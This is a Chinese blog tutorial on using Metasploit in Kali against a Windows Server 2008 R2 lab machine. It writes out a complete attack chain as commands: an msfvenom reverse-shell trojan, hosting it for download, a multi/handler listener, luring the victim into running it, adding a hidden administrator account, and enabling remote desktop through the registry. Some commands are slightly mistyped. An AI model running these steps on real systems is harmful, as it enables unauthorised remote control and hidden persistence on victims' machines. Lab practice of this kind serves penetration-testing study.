• 简单使用kali2019.3中的Metasploit


    一、kali及Metasploit

      kali基于debin的数字取证系统,上面集成很多渗透测试工具,其前身是BT5 R3(BrackTrack),在信息搜集方面发挥很大作用。

      Metasploit是一个综合利用工具,极大提高了攻击者的渗透效率;使用Ruby开发;使用非常方便,进入该工具的方式:在终端输入msfconsole;MSF依赖于Postgresql数据库,在使用MSF之前要开启该数据库

    二、使用kali中的Metasploit生成木马,控制Windows系统

    攻击者:kali 2019.3

    靶机:Windows Server 2008 R2

    1.首先要保证两个系统之间可以互相ping通

    2.生产木马,在攻击者终端操作

    1 msfvenom -p windows/meterpreter/reverse_tcp lhost=kali的ip lport=5555 -f exe >/root/Desktop/evilshell.exe
    2   -p 参数后跟上payload(载体),攻击成功之后,要做什么事情
    3   lhost  后跟监听的IP
    4   lport  后跟监听的端口
    5   -f  后跟要生成后门文件的类型

    • 如果安装的是中文的kali,就把Desktop换成桌面

    3.将木马文件evilshell.exe拷贝到/var/www/html,把html目录下的其余文件删除,并开启apache服务(这一部是为了提供一个可以把木马文件下载的平台)

    1 cp evilshell.exe /var/www/html   拷贝木马文件
    2 rm -f index.html  删除index.html
    3 rm -f insex.nginx-debian.html  删除index.html

    4.在靶机上打开浏览器,访问站点http://kali的ip,并下载木马文件,我这里下载到了桌面上,方便操作

    5.开启postgresql服务,postgresql的端口号为5432,开启MSF(msfconsole的缩写)

    1 /etc/init.d/postgresql status  查看postgresql服务的状态
    2 /etc/init.d/postgresql start  开启postgresql服务
    3 netstat -ntulp  查看端口
    4 msfconsole 开启MSF

    • metasploit v5.0.41-dev   版本
    • exploits  开发利用,用来攻击某些服务、平台、系统等用到的工具
    • payloads  攻击载荷载体,攻击成功之后要操作什么,通过payloads进行操作

    6.加载exploits和payloads,查看该模块需要设置的参数

    1 msf5>use exploit/multi/handler 选择exploits
    2 msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp  设置payload
    3 show options  查看所需设置的参数
    • 注:这里的路径要与上面生产木马的payload一致

    7.根据上图的需求设置lhost和lport,这里的lhost和lport要和上面生产木马的命令中的lhost和lport一致

    1 set lhost kali的IP  设置监听地址
    2 set lport 5555  设置监听端口
    3 run 或者exploit  运行攻击模块

    8.在靶机中双击evilshell.exe(这一步是在靶机中诱导用户点击木马程序,也叫社会工程学攻击),这样在攻击者这里就可以得到靶机的shell(meterpreter)

    1 shell  获取目标主机shell
    2 ifconfig  测试是否能用

    •  windows环境下中文乱码的解决办法:chcp 437

    9.在靶机里加入一个隐藏用户(隐藏用户后面加$),提升隐藏用户的权限,方便我们后续的操作测试

    1 net user host$ /add  添加隐藏用户host$
    2 net user  查看用户
    3 net user host$ 密码  为host$用户设置密码
    4 net localgroup administrators host$ /add  将host$用户加入到管理员组中,从而提升权限
    5 net user host$  查看host$用户信息

    10.新开一个终端,使用远程桌面连接的靶机,进行操作

    rdesktop 靶机的IP  使用远程桌面连接靶机

    •  如上图所示,连接失败

    解决方法:

      方法1:打开上一个终端,开启2003终端服务,查看远程协助的端口是否开启

    1 REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f  开启终端服务
    2 netstat -ano|finder 3389  查看3389端口

      方法2:打开控制面版-->系统-->远程设置,操作如图所示

    •  重新连接靶机,连接成功,进入以下界面,是用隐藏用户登录靶机

     11.打开靶机的dos命令窗口,若无法在开始中找到dos命令窗口,则按键盘上的开始键+R,在打开的运行中输入cmd,即开启dos命令窗口,添加一个新用户进行测试,添加成功证明渗透成功!

    •  如图所示,拒绝访问

    解决方法:在路径中C:Windowssystem32查找cmd.exe,右键cmd.exe,选择以管理员身份运行

  • 相关阅读:
    k8s采坑记
    [dotnet] 封装一个同时支持密码/安全密钥认证的SFTP下载器,简单易用。
    亲测可用,iptables实现NAT转发。
    【转】干货,Kubernetes中的Source Ip机制。
    k8s实践
    干货!分享一款windows下的磁盘分析神器。
    干货,不小心执行了rm -f,除了跑路,如何恢复?
    Java8函数式编程
    搭建git服务器
    Python3安装
  • 原文地址:https://www.cnblogs.com/zhanghaozsnow/p/11575263.html
Copyright © 2020-2023  润新知